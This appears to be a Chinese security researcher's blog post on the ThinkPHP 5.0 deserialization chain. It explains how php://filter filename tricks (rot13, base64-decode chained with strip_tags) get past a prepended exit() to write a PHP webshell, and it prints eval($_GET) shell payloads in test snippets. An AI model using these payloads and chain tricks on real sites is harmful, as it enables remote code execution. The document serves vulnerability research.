闲着无聊看了看 TP5.0 的反序列化链,突然发现网上的大部分链最后用的 filename
都是这样的:php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php
因为某些原因需要在 filename
上做些手脚,并且 filename
和 value
的值基本是一样的,我们可以假设他是这样的:
<?php
$filename = "php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>
在 windows
下运行(wampserver
):
经过测试发现好像是问号(?
)的问题。因为这样是可以的:
<?php
$filename = "php://filter/write=string.rot13/resource=<script language=php>phpinfo();</script>/../../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>
但是我决定直面一下这个问题,研究研究还有什么别的方法可以以 <?
开头写一个 shell
。
这里就不讲 TP5.0 链的细节了,大哥们的文章都说的很详细了
首先想到的当然是 base64
,一开始我很好奇为什么不用 base64
编码写 shell
,于是我测试了一下:
<?php
$filename = "php://filter/write=convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFsxXSk7ICAgPz4/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>
但是这样也会报错:
这是为什么呢,因为 等于号
,可能是 base64
遇到等于号时就停止解析了,这里的 write=
是可以去掉的,也就是说:
php://filter/convert.base64-decode/resource=a.php
这样的文件名是可以的,但是 resource=
去掉就会报错。
那么也就是说我们把等于号去掉就可以了,于是我人肉 fuzz 了一下,发现了个特殊一点的文件名:
<?php
$filename = "php://filter/string.strip_tags|convert.base64-decode|</resource=>aaPD9waHAgZXZhbCgkX0dFVFsxXSk7ICAgPz4/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>
我在 /resource
前加了个 <
,然后在 =
后也加了个 >
,这样会先触发 strip_tags
把 resource=
去掉,剩下就可以正常的解码了,
虽然会报错说没有找到 <
这个过滤器,但是是 warning
,文件内容可以正常写入:
本来故事到这差不多结束了,但是这样在 thinkphp
还是不行,因为即使是 warning
也会被 tp
捕捉然后结束程序,于是只能寻找下一个方法。
跟过 tp5.0
反序列化的师傅们可能知道这个函数:
简单说一下,就是这里的 $name
就是上面代码里的文件名,然后正常来说他会到 else
的语句里,然后 $value
就是我们传进去的文件名了,最后又会进入一次 set
函数,这个 set
函数就是写文件的地方。
但是我们能不能让他进入 if
里呢?
理论上是可以的,但是在跟 has
函数会发现个问题:
这里的 $filename
就是那一长串 php://filter/....
这些。这里是过不了 is_file
的。
我们现在假设一下这里没有 is_file
,但是 getCacheKey
获取的文件名,是以 .php
结尾的,所以我们还是会面临一个问题,就是我们没有可控的 php
文件,此时想到如果我们可以写一个缓存文件就好了。
有的,刚好找到一条:
在正常的链中会进入 class Model
的 toArray
函数,这里面有一句:
跟进去:
这里的 $modelRelation
是可控的,把他设置成 class HasOne
即可,进入这个类:
把这个 query
设置成 class Query
,这里面需要设置一些数据的参数,我们可以控制成自己服务器的,然后返回特定的值,进入 find
函数,里面有几句话:
这里的 $result
是可控的,是执行了一段 sql
语句,从数据库中返回的值,只需要在数据库中插入相应的值即可,这里链接的还是我们自己设置的服务器,所以很好控制。
但是相反的,进入了这里以后, file_put_contents
这个函数的 $filename
就是不可控的,所以还是会被开头的 exit()
结束掉程序。
具体的细节就不展开来讲了。否则篇幅就过于冗长了
好了,无用的分析就到这里,因为一开始没看到前面提到的 file_exists
所以浪费了很多时间。
既然那个方法不行,我们看看还有没有别的方法。
正常的链回到 class Output
的 writeln
函数:
然后到 Memcache的 :
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}
这也就是为什么第二个参数是不可控的,但是这里的第一个参数可控。
这里调用了 set
,然后正常的路是直直的走向了 class File
,然后触发 file_put_contents
,现在我们绕一下,我们走到 class think\cache\driver\Memcached
这里也有 set
函数,第一次进来时 $name
可控,但是 $value
不可控,这里我们把 $this->handler
设置成 class File
,然后里面的 filename
也是可以控制得,前缀直接控制成:php://filter/conver.base64-decode/resource=
不需要花里胡哨的东西了。
首先会正常写入一次文件,进入到下面的 setTagItem
函数,这里的 $key
就是我们传入的 $name
:
setTagItem
上面其实有了,再贴出来一次:
protected function setTagItem($name)
{
if ($this->tag) {
....
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) { //返回 false,进入 else 语句
.....
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}
看到这里相当于直接把 $name
代入到了 set
的第二个参数了。然后又回去一次,也就是上面的图,这次我们的 value
就是我们可控的值了。。
可能有点乱,因为反序列化链如果要搞懂还是要自己跟入一下会比较清楚,这里也算是记录一下思考的过程。中间可能有错误,还请师傅们多指正,一起学习。